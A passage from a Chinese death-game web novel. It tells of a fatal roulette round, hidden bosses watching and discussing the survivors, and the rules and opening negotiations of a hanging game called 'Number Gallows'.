可是在沈墨棠说出“要么是第六发,要么是第七发”后,这个概率在董佑宁德潜意识里提高到了1/2!
太绝对的话,反而会引起董佑宁的警惕……“50%”的概率已经足够他放弃。
“原来不是第六发呀。”沈墨棠淡淡地嗔了声。
“我……”董佑宁没心情咬牙切齿,他失去了控制权!正要为自己的小命担忧!
叶小霓的桌前亮起一盏绿灯,随后出现60秒倒计时。
她第一次见到右手边桌底的按钮,只有两个:向左、向前。
12个弹槽中,前六个都是空的。
子弹不在第六发,会在第七发吗!?
1/6的概率。
叶小霓眼瞳四处乱飘,一下子落在枪口上,一下子落在右手边桌底,一下子又看向桌面的绿灯和倒计时,但就是不敢抬眼去看其他人。
赵莹莹和董佑宁都惊恐不安地望着她。
沈墨棠轻笑。
游戏进行到现在,谁也说不准子弹什么时候射出!
“小霓……”赵莹莹叫了一声。
叶小霓失魂落魄,浑身颤了一下,她看向赵莹莹,像是被惊醒,颤抖着按下按钮。
手.枪“咔”地转动方向。
砰!!!!!!!!!!!!!!!!!
硝烟爆起!枪声震耳欲聋!响彻房间!
鲜血和脑浆喷在金属靠背椅上,粘稠而灼热!
“啊啊啊啊啊啊啊!”
4. 永夜1
黑漆漆的空间里。
唯有显示屏的荧光跳动。
屏幕上是“四人轮盘”的场景,镜头以俯45°的角度捕捉灯光昏暗的方桌,以及分坐四边的四人……
不,是三个人。
屏幕的四个角落,分别以画中画的方式显示出四个玩家的面部特写,其中董佑宁的特写已经黑掉,剩下三名女孩沉默着,表情各异。
屏幕左下方,是沈墨棠。
冰冷,尖锐。
“一开始还以为这个女孩会被针对,没想到啊……”
成熟的女性声音说着,语气轻佻。
红蟹的声音响起:“我也没想到那个男孩只是看上去冷静呢。我还一开始就把枪交给他了,一轮下来打得乱七八糟的。”
“不过,这几个女孩,是永夜城的好苗子哎!”
女声继续发出评论。
红蟹回应:“哦!北庄感兴趣吗?”
显示屏荧光微弱,照不亮宛若泥潭的黑暗,无法知道开口的是什么人。
“当然了啦,我北城正缺人,人家求贤若渴呢!”被叫做“北庄”的女人发出一阵嬉笑,“过关方法虽然各有千秋,但总归是活下来了。”
“要说缺人,我想没有比我更缺的吧?”第三个嗓音出现,听起来厚实而年轻。
“东庄弟弟啊。”北庄讪笑道:“你那都烂成什么鬼样了啦,谁去你东城不是送死去嘛?”
东庄冷哼:“不劳您操心,北庄‘阿姨’。”
“你这是年少不懂富婆好~”
北庄嬉笑,继续故意恶心东庄:“东庄弟弟,你要是给姐姐献献殷勤,或许我会稍微给东城放点水呢……”
“得了吧,就你北城也敢说放水?”
东庄还未回话,黑暗中就出现第四个嗓音,是个年迈沙哑的男性:“再说,这才刚过第一轮。”
红蟹插嘴道:“是呀,西庄说得没错,新人要过三轮游戏才有资格进永夜城。”
“你个臭老西!怎么哪都有你?狗皮膏药甩不掉哦!”北庄看着来人,一脸嫌恶。
“老西。”东庄也冷道:“西城应该不需要新人了吧?你还来做什么?”
“咋不需要呢!”
西庄咳嗽两声,目光似乎投在显示屏的特写画面,“有好苗子,我西城也是当仁不让!”
“刚才还说人家进不了永夜城……”北庄阴阳怪气:“……现在就‘当仁不让’啦?”
“啊哈哈哈!”红蟹尴尬大笑,打着圆场:“看来几位庄家都对这次的新人很期待啊!”
“那是当然……”
东庄指着屏幕左下角打断北庄:“只有她。”
“嗯……看来东庄目标很明确嘛!”
红蟹沉吟着,按下黑暗中的某个按钮。
屏幕的游戏房间里喷进特殊的气体,三个存活的玩家相继晕了过去。
“把他们送去第二个场地,记得要打营养剂维生。”红蟹不知对谁吩咐着。
紧接着,他换了副口吻,继续笑着附和:“是啊,这几个新人确实表现出不错的潜质,怪不得大家都喜欢。”
“这个我要定了。”东庄指着沈墨棠的头像,斩钉截铁,生怕别人和他抢。
“万一活不到最后呢?”西庄泼冷水:“另外两个也挺不错的。我刚刚也看了,这个最早弄懂规则的,太锋利,团队战估计不太行。”
“我不这么认为。粉头发那个,死人后她就没再出过声。前面也不知道是真不懂还是假不懂,演得很像。弱化自己的威胁倒也没错,人天然会忽视比自身弱小的对手,短头发的跟死的那个也确实吃这套,从头到尾没将枪指向过她。可你们觉得,经历过第一轮,后面还有人会吃这招吗?”
“短头发那个,从一开始就在降低自己存在感,思路上没错,可惜体能看上去不太行,要过体能那轮,我不看好。”东庄继续分析:“就算她们真的用这种方式过了前三轮,之后遇到南庄手下那个有厌蠢症的细节怪,也都活不了。”
“我还是更喜欢这个……更有章法。”东庄又指了指沈墨棠的特写。
“唉哟?东弟弟,你也看上这孩子啦?”北庄听完东庄的分析,多看了屏幕一眼,接着作出一副不在意的样子,故意嘻嘻讪笑:“那姐姐就把她招来北城,到时候你再来求姐姐呀?哈哈!”
“北庄你!”
“说到南庄……话说南庄好久没来看过新人了。”红蟹将屏幕关掉,微笑着转移话题。
“她呀,”西庄冷哼:“她的南城都快一统永夜了,新人对她来说有意义吗?”
“唉哟!人家小
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南压根不需要新人嘛,哪犯得着跟咱们抢呢?”北庄悻悻然:“人家才瞧不上这些!”
东庄无奈又不服,脑子里想的都是刚刚屏幕里的那个新人。
要挽回东城的颓势,只能将宝压在她身上了!
一定要争取到她!
“想什么呢?东庄弟弟?”
“我走了。”
东庄不理北庄,他起身,“这人的下一场,我还来。”
“哈哈哈!欢迎之至!”红蟹语气跳脱,“各位庄家都可随时光临新人选拔!”
“哎!我也该回去了,东庄弟弟一起呀……”北庄声音逐渐淡去。
黑暗中只剩西庄和红蟹。
“咳咳……”
西庄咳嗽两声,“主持人,这游戏里的子弹到底是不是随机放的?你看,把我老西搞糊涂了都……咳咳……我还以为这游戏就是比命硬呢?”
“是我放的。”红蟹语气沉静下来:“我想多看看这些新人第一次的反应,所以往后放。比命硬,一下子就死了,没什么意思……这对你们的评估也比较有帮助。”
“没想到这个叫沈墨棠的,竟然抓住我的话柄,猜到了。”
“挺敏锐。”
沉默持续了片刻。
“其他场次呢……有表现好的新人吗?”西庄问。
“有那么几个让人眼前一亮的吧,”红蟹似乎轻叹口气,“还得往后看看才知道。”
沉默再次出现。
“咳咳。”
西庄又咳嗽,“主持人,你……觉得,这小妮子和我西城的白七条比,谁更厉害些?”
“西城二把手的实力毋庸置疑!”
红蟹依旧笑着。
笑容凝固在脸上,喃喃道:“但……不知道呢,可能有得比哦。”
“这样……唉,希望这小妮子别死在二、三轮喽。”西庄秉着苍老的沙哑嗓音:“有强点的新人进城,不管最后是来我西城,还是东城、北城……咳咳……总之能对南城有威胁就是好事!”
“永夜城苦‘南’久矣!”
他尴尬笑着,说了两句“走喽走喽”,也离开这里。
黑暗,安静。
“沈墨棠。”
红蟹暗自嘀咕。
“这女孩,是不是……她?”
5. 数字绞刑架1
仿若呢喃的旋律。
声音在建筑中回荡。
灯光亮起,沿着穹顶蔓延开。
这是巨大的教堂形建筑,里面空空荡荡。
穹顶周围,伸出六个离地的小平台,位置围成一圈六边形。
平台离地足足有10米高,每个平台都由两块木板拼合而成,上面分别蹲坐着一个昏迷的人。
六个人的双手都被反绑在身后,脖子捆着绳索,吊在穹顶上。
“呲呲呲……”
一阵雾气从穹顶的洒水器中喷出。
六位昏迷者纷纷醒来。
某处黑暗中,戏谑的声音难掩兴奋:“好戏开始了……”
沈墨棠微微张开眼。
还没完全感受身体的酸楚,就听见“嗒嗒嗒”的齿轮转动声。
六个平台,都开始缓缓下降。
!!!
身体随之下沉,脖子被绳索勒紧,很快呼吸不上来!
“……!”
沈墨棠挣扎着,本能地想用手去解开脖子上的绳索,却发现双手被牢牢反绑在身后。
要被勒死了!
窒息死亡的威胁面前,她本能靠脖颈的力气,强行让麻痹的双腿站起撑住身体,防止被勒毙。
“……嗒嗒嗒。”
齿轮转动声消失,平台已经下沉差不多一米,晃悠着停住。
自此,所有人只能站立。
都痛苦地大口大口喘息。
脖子处结实的绳索还在,被反绑的双手也无处着力……
这是……绞刑架?
事情发生得太过突然,大家又都被勒着脖颈,还没人能开口说话。
感受到脚下两块木板稳定住,沈墨棠迅速冷静,观察四周:
除自己之外,还有五个同样处境的人。大家都站在离地三层楼高的平台上。
正对面的平台与自己相距大概10米,便是这栋建筑的直径长度;至于左右相邻平台的距离也有3、4米左右。
“咳咳……咳咳……这,又是什么啊……”熟悉的声音。
一头粉色烫发,是赵莹莹,这次在沈墨棠右侧。
左侧,是叶小霓。
叶小霓的顺时针方向,是一个留着黑色长马尾的高挑女人,妆发精致,大概30岁不到。
再过去,也就是沈墨棠正对面的平台,是个造型日系的男生。
潇洒的长发齐脖,盖住他的脸颊和耳朵。
此时他正踉跄站直身子。
可能是身高的关系,导致他脚下平台虽然和大家都处在同个水平线上,但脖子处的绳索却垂落了一段,勒得没那么紧。
反观个头娇小的叶小霓,就不太好受了,时不时得踮起脚尖,才能好好呼吸。
日系男和赵莹莹的中间——是一个板寸头大叔。
年纪大概40岁左右,黢黑的皮肤,五短身材,很结实的样子。
“不了个是吧!还来?!”
大叔操着一口奇怪的腔调,重重咳了口浓痰,冲前方吐了出去。
他顺势看向深深的地面。
足足三层楼的高度,痰也得在空中落两秒。
经大叔这么一说,大家似乎也才清楚反应过来,自己还处在某个“死亡游戏”当中。
绑匪还没放他们走。
他们甚至不知道自己究竟昏迷了多久,被绑了多久。
“嗯……”
赵莹莹来回打量每个人。
她不再像之前那样大呼小叫了。
视线经过沈墨棠和叶小霓,又扫视其他三人,她眉头一蹙,若有所思问对方:“你们三……认识吗?”
声音在空旷的建筑中回荡。
“嗯。”赵莹莹正对面的高马尾女人很快回应:“你们不也是吗,你们三个应该也玩了轮盘……”
她说到一半,顿觉不妥,连忙收住嘴。
不愿再提及那可怕的经历。
赵莹莹接话:“该不会你们也是?”
从对面三人的反应来看,他们也经历了一次“四人轮盘”的游戏,可能跟她们一样,参加游戏四个人实际上都是互相认识的,而其中有一个人,在游戏过程中,活生生被枪毙。
赵莹莹看向叶小霓。
叶小霓刚找到一个稍微好点的姿势。
“我靠!你们也死了一个?”板寸头大叔的大嗓门,震得大家耳膜嗡嗡响。
马尾辫女人翻了个白眼。
仿佛是被大叔的嗓音震到,巨大穹顶发出“当”的一声,一个机械装置从中央缓缓降了下来。
这是一个由六面屏幕组成的六边形机械台,就像是球赛场馆里出现的那种,可供每个角度的观众看清楚实时画面。
机械台在六人中心略高的地方,停在半空中。
这次没有赵莹莹的尖叫,其他人都沉默地观察周围。
“咳咳……喂,喂喂……1、2、3,check,check……”
红蟹的声音。
机械台音响内,传出那种令人紧张的电子合成音。
屏幕随之亮起,出现在场每个人的肖像,以及肖像底下的名字:
赵莹莹、沈墨棠、叶小霓、夏菲、高令、杜泽峰。
现在大家都知道彼此的姓名了。
红蟹开口:“又见面了!各位玩家好呀!我是你们的游戏主持人红蟹!”
沈墨棠微微皱眉。
又是“红蟹”吗?是同一个“红蟹”?
毕竟这种合成的声音,由任何人来发出都一样……对面三人在玩“四人轮盘”的时候,也是“红蟹”主持吗?
她静静分辨“红蟹”的说话语气,企图从中得到一些蛛丝马迹。
望着显示屏的视线余光中,能发现隔着机械台的对面,日系男正看向她。
根据屏幕显示,这人叫做高令。
他定定地盯着,就算自己迎回视线,他也并不避开。让人猜不透的目光从他两侧刘海间射出,猜不出在想什么。
看我干什么?
我脸上有游戏规则?
有病?
沈墨棠无视高令的视线,专心听主持人的说话内容。
“相信各位玩家也发现了,你们都身处高空,双手反绑,脖子上嘛……”红蟹停顿一下,哂笑道:“……只要木板掉落,‘嘭’!那就只能咽气了……”
在场所有人都清楚,现在每个人的重量只由平台支撑,左脚右脚各踩着一块木板。
若是它们都掉落,将被当场吊死!
“……现在告诉大家一个小秘密……”
红蟹放慢了语速:“你们如果仔细看的话,能够在每块木板后端,发现一个数字……只有你自己能看到……”
大家听着相继回头,看向各自脚后跟处。
果然能发现,最初坐着的地方,有两个阿拉伯数字,分布在左右两块木板上。
沈墨棠的左边是【5】,右边是【11】。
除此之外,身后光滑的墙壁上,靠近腰间的位置有一块金属数字表盘。
上面存在0~9十个数字按钮,以及一个【确定】按键。
这是做什么用?输入什么密码吗?
红蟹继续说明:
“现场12块木板已经事先被随机编好1至12的号码,没有重复……我们要玩的游戏,就和各位脚下的数字息息相关!”
“所以……游戏名字叫做‘数字绞刑架’!啊哈哈哈哈哈!”
数字。
绞刑架。
言简意赅。
“数字……是随机的吗?”赵莹莹无意识地低声喃喃从右侧传来,等反应过来不该打断主持人的话,于是住嘴。
沈墨棠漫不经心地瞥了她一眼。
“游戏将按照轮次进行……”
红蟹继续说着,意识到什么,“……呃……话说这次果然没人大喊大叫啦?哈哈!好吧,都是经历过一次游戏的成熟玩家呢……”
沈墨棠视线扫过对面三人,思考在“四人轮盘”的时候,他们当中由谁掌控局面。
正对面,高令将目光放平,又和沈墨棠对视一眼。
随后再次抬起,看向空中的屏幕——原本六张肖像照片被缩小到底部,而主画面中出现的是对游戏规则的动画演示。
红蟹实时讲解:
“每轮游戏分为三个阶段,分别是:持续30秒钟的‘选一选’;持续5分钟的‘猜一猜’;限时1分钟的‘处刑啦’。”
“一阶段的‘选一选’中,每个玩家需要选择自己脚下的其中一个数字——踢一下木板后端,视为选中它。”
“该数字为你本轮的【选择数字】,只有你自己知道。”
“二阶段的‘猜一猜’中,每位玩家需要猜测场上所有【选择数字】相加之和,并在身后的数字键盘上输入你猜测的和数。”
“三阶段的‘处刑啦’中,将会公布每位玩家各自‘猜测的和数’以及本轮真正的和数,但不会公布每个人的【选择数字】。”
“由‘猜测的和数’最靠近真正和数的玩家获得本轮
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游戏的‘行刑权’——你可以声明一个号码,标有该号码的木板将立即掉落!”
“已经掉落的号码将不会出现在接下来的游戏中。”
……
规则听到这里,大家表情各异。
行刑?
每轮游戏拥有“行刑权”的人,可以指定1~12中的一个号码,让其木板掉落……如果同一个人脚下的两块木板都掉了……不就要被吊死!?
“游戏总共将进行六轮……当第六块木板掉落后,游戏结束!”红蟹语调里充满玩味。
大家都愣了一下。
六轮?
只有六轮?
这么说来,如果每轮的“处刑啦”选择不同玩家的木板,那么到游戏结束时,每个玩家都还有一块木板可踩。
将全员存活。
主办方会设计这种“合家欢”的游戏规则吗?
相比起“四人轮盘”,这场“数字绞刑架”是不是太友好了些?
“哈哈!你们都是从上个游戏存活的玩家!”
红蟹依旧激情满满:“在本场游戏中,你们不仅要活下来,还有争取逃离这里机会呢!”
“逃离这里?”
六双眼睛中都透出或明或暗的光泽。
果然游戏没那么简单……
红蟹继续道:“这也是你们目前唯一一次拥有逃离的机会呢!一旦你们离开这里……除了脱离生命危险外,还将获赠价值10亿美元的个人资产!哇呼呼!……是的,10亿美元!”
10亿美元。
10亿美元是什么概念?
全球只有不到2000人拥有这样的财富!
“放心,本机构有绝对可靠的能力,让这笔奖金成为您的合法收入……您无需为其承担任何法律风险!万岁!”
红蟹越说越激动,甚至开始“啪啪啪”鼓起掌来。
沈墨棠眉头紧锁。
红蟹越说越激动,“哈哈”笑了几声,才接着补充:“现在,我们都迫切想知道,在游戏中怎么逃离这里吧?”
“很简单……当游戏结束时,如果你脚下仍保有两块木板……各位听清楚,是两块木板哦!这时恭喜你!你将获得离开游戏的资格!我们将完好无损送你回到原来的生活,并且……没错!还有10亿美元的无偿馈赠!”
原来如此……
沈墨棠勾了下嘴角。
能够从“死亡游戏”中脱身,再加上“10亿美元个人资产”,确实够令人心动!
“骗人。”
扎马尾辫的夏菲大声打断红蟹的蛊惑:“大家别被主办方骗了。”
“其实这个游戏规则允许我们都活下来,不用死人!”
“是……是吗?”赵莹莹抬眼看她:“不用死人吗?那太好了!”
没得到回应,她近乎是习惯性地看向叶小霓。
叶小霓勉强一笑,也附和夏菲:“对咧对咧!还是别弄死人……”
沈墨棠觉得有趣,看向两个男性,这两个人在得知规则后便默默不说话。
“当然咯……具体怎么玩还是看各位玩家自己……哈哈哈哈!选择权在大家手上呢!”红蟹的声音再次响起。
“总之,这里有几条补充规则:”
“第一:在30秒的‘选一选’中,如果有玩家没有进行选择,那么将自动选择其左脚的号码;如果其左脚的号码已经掉落,则选择其右脚的号码;如果两个号码都掉落了……证明该玩家已经被淘汰啦!不参与游戏了!哈哈哈哈哈!”
“第二:在5分钟的‘猜一猜’中,如果有玩家没有输入任何数字,则视为其本轮弃权!”
“第三:在1分钟的‘处刑啦’中,如果获得‘行刑权’的玩家不声明任何一个有效号码,则将自动‘处刑’该玩家自己的号码!”
“第四:若有多名玩家‘猜测的和数’与真实和数最接近,那么将由其中拥有号码数字较大的玩家获得本轮的‘行刑权’。”
“第五:上面说过,若有玩家脚下的两个号码都掉落了,则其退出游戏,不再参与之后的轮次。”
“以上。”
红蟹说完,长长拉了“那么”两个字的语气:
“各位玩家请注意!数字绞刑架,第一轮游戏——”
“开始!”
声音落下,显示器跳出“选一选”的字样,以及30秒钟的倒计时。
29……
28……
27……
音箱内只剩下“嘀嗒嘀嗒”的读秒声。
6. 数字绞刑架2
“这、这就开始了?等一下……”赵莹莹语气中带着懊恼。
她反应慢——红蟹只说一遍!让人完全没办法迅速理解规则!
相比起上个游戏“四人轮盘”,这个“数字绞刑架”怎么跟在做奥数一样!
这是想让人好好玩游戏吗!
该死的!
好歹把题目用文字形式放出来反复播放啊!
其他人不说话,是真的全都听懂了吗?!可恶啊!
似乎是察觉到她的不安,旁边的中年大叔杜泽峰轻声哄她:“诶,小姑娘,你是哪个数?”
杜泽峰问得如此直白,整个空间里的所有人,都将视线聚集到赵莹莹身上。
“哪个数……”赵莹莹理解了一下,话音逐渐减弱,再次低头看向脚下木板。
她犹豫地抬起头,迎回大家的视线。
视线停到沈墨棠身上,赵莹莹张了张嘴,终究没有说出来。
她只是理解慢,她又不是真的傻!
“现在都还不知道要我们做啥子嘞?”另一边的叶小霓打破沉默:“大叔你是不是知道啥子嘞?”
杜泽峰没有理会叶小霓,有针对性地、不依不饶继续怂恿赵莹莹:“说一下嘛小姑娘,我玩这个可厉害了,可以教你……”
“我不要你教。”赵莹莹打断他。
这大叔简直盲目自信。
“槽……!”杜泽峰吃了瘪,冷骂一声,又朝空中啐了口唾沫。
沈墨棠的视线顺着赵莹莹,逆时针看向杜泽峰,扫过高令、夏菲、叶小霓的脸……大家似乎都在思考着。
经历过“四人轮盘”,在场所有人都明白“游戏”是会死人的!
一不小心,可能死的就是自己……
而这场游戏,却给了两条完全不同的选择……都是需要去仔细思考的选择……
对面的高令,从红蟹讲解规则的时候,一双眼就直勾勾盯着她,像是要看穿她的所有动作。
他到底想干什么?
沈墨棠还是选择无视,专注在游戏当中。
游戏规则说穿了并不难:
玩家只需要在每轮选一个号码,同时猜测其他人选的号码,最后将这些号码的数字相加,得出结果。
猜得最准的那个人,就有权力在本轮淘汰某个号数。
仅此而已。
具体差别在于如何进行。
在“选一选”阶段里,踢一下木板的后端,就可以选择对应的号码。
沈墨棠抬起左脚,朝木板后端靠了靠;然后又换右脚,也朝后端靠了靠……或许有人会通过别人的动作来判断其选择的左右,但只要稍加掩饰,做点迷惑,就可以隐藏自己的意图。
除非对方根本没防备,不然总是盯着其他人看的话,不一定对游戏有帮助。
第一阶段时间只有仅仅半分钟。
第一轮肯定不会死人,沈墨棠决定跟着直觉先玩一轮。
3……
2……
1……
30秒倒计时结束,全场总共六个号码被选中。
沈墨棠没有主动选择,但左脚木板的号码【5】此时呈现不显眼的深色,应该是视为该轮自动被选。
这也验证补充规则的第一条:
“在30秒的‘选一选’中,如果有人没有进行选择,那么将自动选择其左脚的号数……”
所以第一轮游戏中,她的【选择数字】就是【5】。
然后呢?
屏幕再次转变画面,显示出“猜一猜”的字样,以及总共300秒的倒计时。
299、298、297、296……
“所以现在又是要做啥子嘞?”叶小霓看了一眼赵莹莹,轻咳一声后再次发问。
夏菲小声解释:“哎呀,你还不懂吗……刚才我们每个人都已经选择了一个数字,现在我们要猜六个数字加起来是多少。”
“哦……”叶小霓似懂非懂,又看向赵莹莹,回应夏菲:“猜得越靠近越好对不?”
“对啊,当然啦。”夏菲看上去像是好心好意提醒一般:“你不要告诉别人你的号码,不然……”
说话声音不大,但场地空旷,而且其他人都没说话,所以大家都听见了。
赵莹莹问道:“所有号码都不重复是吗?”
“卧槽……妹妹,你是还没懂啊?”杜泽峰对赵莹莹露出嘲笑。
赵莹莹心里烦躁,脸上显出嫌恶,对杜泽峰越发厌恶。
她连头都没转,仍看着对面的夏菲。
夏菲回应:“对啊,我们要猜大家选的号数相加一共多少。”她说着看了一眼旁边的高令,确认自己没说错。
“但……”赵莹莹依旧困惑:“怎么知道……别人选了什么?”
“卧槽……所以才要你去猜啊!”
杜泽峰又笑着辱骂:“槽……傻逼……”
“你有病吧?!”
赵莹莹憋着一口气,正等着夏菲帮自己答疑解惑,被杜泽峰打断几次后,终于忍不住了:“我是你妈?!招你惹你了?”
“我槽你妈……”杜泽峰对着其他人笑笑,发现没人理他,于是咳了口痰,目光又转回赵莹莹,尴尬地笑:“妹妹,口气有点冲哦?女孩子家家的……”
“关你几把事?”赵莹莹气到发笑,向夏菲和高令问:“你们互相认识的?是朋友?受得了这人?跟这种人是朋友?嗯?”
夏菲尬笑着,高令仿佛没听到一样。
“卧槽尼玛……吃枪药了?傻妹妹,哥哥是想帮你哦!小孩子什么都不懂……”杜泽峰朝其他人露出笑意:“她个傻帽连规则都听不懂,本来还想帮她……反正大家别管她,让她自己去死好了!哈!”
说完他怡然自得地又对空气咳了口痰。
赵莹莹被说中,本来没完全听懂规则就已经很急了,现在更是又气又急:“你他爹的!我槽你爹!”
“你~他妈!槽你妈!老子犯不上跟你个马上要死的人吵!”
两人互喷了起来。
沈墨棠忍不住想笑。
原来世界上什么人都有。
在这种“死亡游戏”当中,游戏策略也是千奇百怪。
叶小霓似乎是想与赵莹莹结盟,在发现赵莹莹听不懂规则的情况下,已经有意无意在帮她。
但这个叫杜泽峰的大叔到底是有其他目的,不想让赵莹莹理解规则,还是情绪主导,单纯的想惹怒赵莹莹而已?
抬头看向屏幕。
“猜一猜”5分钟的倒计时,至此才过30秒。
要让玩家独自进行猜测,并且在身后键盘上输入数字,其实用不了多久。
通常而言,1~12的号数相加总和为“78”,从其中选择6个数字相加,平均下来差不多是“39”。
剩下的推导部分,就只能靠猜测——
其他玩家会选大数还是小数?
游戏为了提供给玩家们相互讨论、商量、试探,甚至欺骗的时间,所以将“猜一猜”的环节设置成足足5分钟。
或许是为了不浪费时间,夏菲试图劝架:“哎呀,我说你们别吵了,那……我们先聊聊,要不要合作吧?”
“我也是这个意思……”赵莹莹气得脸红脖子粗:“跟这种烂人吵简直浪费生命……”
她的脖子被磨的发红,绳索似乎勒得更紧了。
杜泽峰还是不依不饶:“说得像老子想跟傻子吵一样……”
“什么合作?”
另一道男声响起,沈墨棠低下头看向高令。
这是高令第一次开口,他的声音沉沉的,充满颗粒感,仿佛嗓子里含着难以穿透的浓雾。
夏菲见场面已经被控制下来了,脸上挤出一个笑容:“那……你们看,刚刚红蟹说了,游戏总共六轮,每轮掉一块木板……其实这个游戏有解法,我们只要商量好,让一人掉一块,就可以全都活下来,不用死人。”
高令点头:“有道理。”
沈墨棠继续抬头看屏幕。
“啊?那该怎么商量?”叶小霓明显对这个提议颇感兴趣。
能不死人当然最好!她已经想过,这个游戏其实是团队游戏,结盟跟不结盟会有两种解法。
但无论哪种解法,她都需要让自己活下去。
大家都能活,对大家都有利,这种解法,活下来的概率是最高的。
夏菲转头看向叶小霓,对叶小霓的捧场表示肯定:“很简单,大家只要公开自己的数字,然后我们每轮投掉一个就可以啦!”
高令也再次肯定:“有道理。”
沈墨棠看着屏幕上的数字跳动。
“如果大家都同意,那我们就从……”夏菲一边说,一边将目光投向赵莹莹,“要不从你……”
“从你先公开?”
沈墨棠突然出声打断,她慢慢低头,眼神直勾勾地看着夏菲。
“我……”夏菲眼神闪躲,将目光投向其他人。
杜泽峰朝沈墨棠冷笑:“人家提的
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方案,让人家先吃亏,小妹妹你不厚道啊!”
“嗯……那怎么办呢?”沈墨棠笑着回应:“那您先请?”
“哎!女士优先嘛,对吧。”杜泽峰摆出一副大度模样:“俗话都这么说……男的嘛,就往后,往后。”
“提出方案的不能先说……这会儿女士优先,男的也不能先说……”
沈墨棠“哦”了一声,装出恍然大悟的样子:“就是得我们三个女的先说?毕竟我们三个是外人嘛!”
“那,那,那……”杜泽峰眼角不经意瞥了眼他右手边的高令。
“轮流。”
高令脸上挂着微笑,如果不是脖子上的绳索,这样的笑容放在任何一个地方都具备十分的亲和力:“每人先说一个。”
“你请。”沈墨棠油盐不进。
局势很明显了——
面对不熟悉的人,对面的夏菲、高令、杜泽峰三人早已是一个团体!
先是让杜泽峰扮黑脸,跟别人起冲突;然后让夏菲扮白脸,当个“好人”提出“方案”;高令作托,让“方案”按照对三人有利的方向顺利进行。
堪比诈骗团伙的配置!
可能在之前的“四人轮盘”中,对面三人就找机会形成了某种默契……
“既然扯来扯去谁都觉得吃亏,还是按照最开始定的。”高令笑着看向赵莹莹:“你先开始吧?”
“我不同意。”
沈墨棠打断。
旁边的叶小霓急于促成全活的局面:“为什么嘞?这样子大家都能活……”
“从你开始公布吗?”沈墨棠问。
叶小霓顿了顿,被沈墨棠一句话问住,她想了想,提出建议:“大家一起呀,同时。”
“同时喊出来?”
“对嘞。”
“可以,你喊,我没意见。”沈墨棠最终闭上了嘴。
似乎没想到争论突然结束在这里,叶小霓赶紧给赵莹莹使了个眼色。
“卧槽他妈的!”杜泽峰又骂骂咧咧起来。
这次是冲着沈墨棠来:“现在小姑娘都读书读傻了?好好的大家都能活的办法给你了,非不干?轮流说不是最好,轮流说听得清楚!难怪人家都说傻子早死……唉,自己非要找死谁也拦不住……”
场上只剩杜泽峰的各种阴阳怪气、污言秽语。
沈墨棠一笑而过:“傻子早死,这话没错。”
其他,一句话也不想回。
像杜泽峰这种人,就像贱兮兮的狗,越是理它,就越兴奋发癫。
倒霉被狗咬了一口,难道还要咬回去吗?
最好的处理办法,就是无视他。
221、220、219、218……
整个空间里都是杜泽峰的谩骂声,叶小霓还转向夏菲:“你说,大家同时喊好吗?这样最公平。”
夏菲“嗯”了一声,算作回应。
大家同时喊出自己的数字……万一有人失信,不照做怎么办?
失信者岂不是白白获悉他人“底牌”信息?
一个人这么做还好,如果有多个人这么做……剩下那个傻傻喊出自己数字的人,就彻底将自己的命运交给他人了?
倒计时继续“嘀嗒嘀嗒”走着。
杜泽峰在瞥了一眼高令后,停止了谩骂。
他立刻转而肯定叶小霓:“好啊,没问题,大家一起喊就一起喊!”
“大家同时喊才行嘞,谁都不能落下几秒再喊!”叶小霓看向赵莹莹,希望赵莹莹能明白她的意思:“莹莹,你懂了吗?”
赵莹莹深吸一口气,对着叶小霓点了点头。
“同时喊啊各位……”
杜泽峰大声呼喝:“大家都配合点,我数3、2、1,大家同时喊左脚数啊!”
“好。”
高令点头。
夏菲也同意。
“太好咯,就这样嘞。”叶小霓满怀希望,张了张嘴,看了看赵莹莹,又看向沈墨棠。
“嗯。”沈墨棠吸了一口气。
“好了啊,大家都不想死。”杜泽峰声音在建筑中回荡:“要是有人不喊,就是想害死别人啊!到时候被枪打出头鸟就没怪别人了……来,大家听我的,三!二!一!”
“……”
“……”
“……”
有那么一瞬间,赵莹莹都快喊出“漆”了。
但除了她之外,场上鸦雀无声。她便反应迅速地合上嘴。
尴尬的沉默降临。
7. 数字绞刑架3
沈墨棠倒是没想到。
叶小霓提示得那么明显,就是想坑坑对面三个人的数字,没想到偷鸡不成蚀把米。
所以全场其实只听见赵莹莹发出“qi”的前音。
“卧槽,大家都不傻啊?”杜泽峰讪笑着,话有所指:“但果然还是有人傻的……哈!小女孩还是太年轻啦!没社会经验呐!”
“你们……”
赵莹莹哑巴吃黄连!
167、166、165、164……
“喂!”杜泽峰冲他正对面的叶小霓喊话:“小小年纪就会骗人啦?不学好?你提议要喊的!怎么不喊啊?”
叶小霓咬着下唇,视线来回飘忽。
她也知道不能回应,不然会招来“疯狗的纠缠”。
“说话呀!卧槽?哑巴了?”任凭杜泽峰怎么挑衅,叶小霓也不与他对上目光——她嘴巴没赵莹莹厉害,骂也骂不过,浪费情绪。
第一次全体合作失败,沈墨棠暗自思量:
想要达成最低程度的合作,其实有很多方式可以选择。
例如,每个人可以轮流报出一个不属于自己的号码,且不能跟前面已经报出的号码重复……这样不论谁最终获得“行刑权”,都可以在报出的号码中选择一个进行“处刑”,以此达成最低程度的“六人合作”。
只是,这个办法也会被有心之人利用,徒然增加游戏算量而已。
时间继续流淌着,还有两分多钟。
高令突然又开口:“对面的怎么说?”
我?突然点名,这是要将皮球踢给我了?
沈墨棠迎回视线,嘴角保持着似笑非笑的弧度:“我没意见,我觉得你们说的都有道理,夏菲的提议最有道理啊,只要她先做示范……”
“怎么不你先示范?他妈的!叫你喊你也没喊啊!”杜泽峰攀咬。
沈墨棠本来就没打算跟他们合作。
既然有人打断,那就顺势缄口不语,回归沉默。
高令恶狠狠地瞪了杜泽峰一眼。
倒计时只剩下100秒的时候,赵莹莹喃喃打破了安静,所有人都听明白规则,就她还一知半解,她想自己吃点亏也应该,反正第一轮肯定是不会死人的,只要第一轮没死,那玩了一轮,应该也能彻底明白规则了。
她鼓足勇气:“要不我说了吧,我的是……”
“你现在说了也没人信。”
沈墨棠漫不经心地打断:“我可不相信有人会在这种时候说实话,毕竟这个游戏……”
沈墨棠停下话语,左右动动脖子,让捆在上面的绳索稍微换个角度,避免在同个地方勒得生疼。
大家都看着她。
等了片刻,叶小霓忍不住问:“这个游戏咋嘞?”
沈墨棠只是抬眼看着屏幕。
倒计时进入两位数。
95、94、93、92……
她看向杜泽峰:“傻的人会先死。”
“卧槽!你看……你说几把……”杜泽峰果然骂了句粗话,出口后又赶紧观察高令的表情。
沈墨棠移开视线,彻底闭上双唇。
“喂!你什么意思!?”
“你想说什么?”
“他妈的!傻了吗你?”
杜泽峰不停叫喊,但得不到任何回应。
